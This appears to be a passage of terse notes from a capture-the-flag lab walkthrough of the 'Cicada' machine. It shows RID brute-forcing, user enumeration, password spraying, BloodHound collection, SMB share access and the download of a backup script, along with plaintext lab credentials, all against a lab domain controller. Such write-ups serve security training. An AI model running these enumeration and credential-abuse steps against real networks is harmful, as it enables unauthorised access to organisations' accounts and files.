Foothold

Cicada$M6Corpb*@Lp#nZp!8

❯ netexec smb 10.129.231.149 -u 'Guest' -p '' --rid-brute
SMB         10.129.231.149  445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.231.149  445    CICADA-DC        [+] cicada.htb\Guest:
SMB         10.129.231.149  445    CICADA-DC        498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.231.149  445    CICADA-DC        500: CICADA\Administrator (SidTypeUser)
SMB         10.129.231.149  445    CICADA-DC        501: CICADA\Guest (SidTypeUser)
<SNIP>

❯ grep 'SidTypeUser' rid-brute.txt | sed -E 's/.*\\([^ ]+) \(SidTypeUser\).*/\1/' > ad_users.txt

Administrator
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars

michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

❯ bloodhound-python -d cicada.htb  -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' -ns 10.129.231.149 -c all
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: cicada.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (cicada-dc.cicada.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: cicada-dc.cicada.htb
INFO: Testing resolved hostname connectivity dead:beef::10b
INFO: Trying LDAP connection to dead:beef::10b
INFO: Testing resolved hostname connectivity dead:beef::c877:b051:702a:f79b
INFO: Trying LDAP connection to dead:beef::c877:b051:702a:f79b
INFO: Found 1 domains
INFO: Found 1 domains in the forest
<SNIP>

david.orelious:aRt$Lp#7t*VQ!3

❯ netexec smb 10.129.231.149 -u david.orelious -p 'aRt$Lp#7t*VQ!3' --shares
SMB         10.129.231.149  445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.231.149  445    CICADA-DC        [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB         10.129.231.149  445    CICADA-DC        [*] Enumerated shares
SMB         10.129.231.149  445    CICADA-DC        Share           Permissions     Remark
SMB         10.129.231.149  445    CICADA-DC        -----           -----------     ------
SMB         10.129.231.149  445    CICADA-DC        ADMIN$                          Remote Admin
SMB         10.129.231.149  445    CICADA-DC        C$                              Default share
SMB         10.129.231.149  445    CICADA-DC        DEV             READ
SMB         10.129.231.149  445    CICADA-DC        HR              READ
SMB         10.129.231.149  445    CICADA-DC        IPC$            READ            Remote IPC
SMB         10.129.231.149  445    CICADA-DC        NETLOGON        READ            Logon server share
SMB         10.129.231.149  445    CICADA-DC        SYSVOL          READ            Logon server share
❯ smbclient -U david.orelious%'aRt$Lp#7t*VQ!3' //10.129.231.149/DEV
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Mar 14 07:31:39 2024
  ..                                  D        0  Thu Mar 14 07:21:29 2024
  Backup_script.ps1                   A      601  Wed Aug 28 12:28:22 2024

                4168447 blocks of size 4096. 481423 blocks available
smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (1.5 KiloBytes/sec) (average 1.5 KiloBytes/sec)
smb: \> exit

emily.oscars:Q!3@Lp#M6b*7t*Vt